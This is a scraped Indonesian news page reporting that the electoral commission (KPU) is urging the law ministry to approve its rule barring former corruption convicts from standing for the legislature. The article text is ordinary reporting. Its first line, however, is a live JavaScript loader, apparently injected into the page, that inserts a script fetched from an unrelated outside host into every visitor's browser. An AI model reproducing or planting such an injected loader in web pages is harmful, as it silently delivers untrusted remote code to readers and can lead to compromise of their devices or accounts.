(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Politik

Usulan KPU Soal Mantan Koruptor Dilarang Nyaleg Tak Digubris Pemerintah

Masih Ngotot

Ketua KPU Arief Budiman dan Komisioner KPU Hasyim Asy’ari bertemu Dirjen Perundangan-undangan Kementerian Hukum dan HAM, Widodo Eka Cahyana. Dalam pertemuan itu, KPU mengupayakan agar Peraturan KPU (PKPU) tentang larangan nyaleg bagi eks narapidana korupsi segera disahkan pemerintah.

Arief juga percaya pemerintah memiliki pandangan yang sama dengan pihaknya. “Tentu segeralah (disahkan). Saya percaya Kemenkumham melihat fakta dan urgensinya,” kata Arief di Kantor Kementrian Hukum dan HAM, Jalan Rasuna Said, Jalan Merdeka Selatan, Selasa (5/6).

Untuk itu, Arief meminta PKPU tersebut dijadikan prioritas dalam pembahasan di Kemenkumham. Apalagi, kata dia, pembuatan PKPU telah melalui proses ketat dengan mengikuti UU yang ada. “Sekian bulan sebelum ini, sudah harus DPS (daftar pemilihan sementara), sekian bulan sebelum harus penetapan calon dan seterusnya, jadi itu semua tidak bisa kita lewati, kita harus berjalan tepat waktu,” imbuh Arief.

Apalagi, lanjut Arief, pendaftaran calon legislatif tinggal menghitung waktu. Dia meminta PKPU ini bisa menjadi perhatian bersama antara pemerintah dan KPU. “Tahapan pemilu yang diatur secara ketat oleh UU. Nah, jadi kami berharap ini jadi perhatian tanggal 4-17 Juli (2018) akan ada pendaftaran, jadi mohon ini jadi perhatian bersama,” tuturnya.

Aturan tentang larangan mantan napi koruptor untuk mencalonkan diri sebagai anggota legislatif, sebenarnya ditolak DPR dalam Rapat Dengar Pendapat (RDP) pada Selasa (22/5). Namun, KPU tetap berkukuh akan merealisaskan wacana tersebut.

Jika merujuk pada putusan MK Nomor 92/PUU-XIV/2016, KPU merupakan lembaga independen. Sehingga keputusan untuk membentuk aturan soal larangan napi itu, dapat tetap dibuat. (ammar)

Reporter: Ammar
Editor: Chell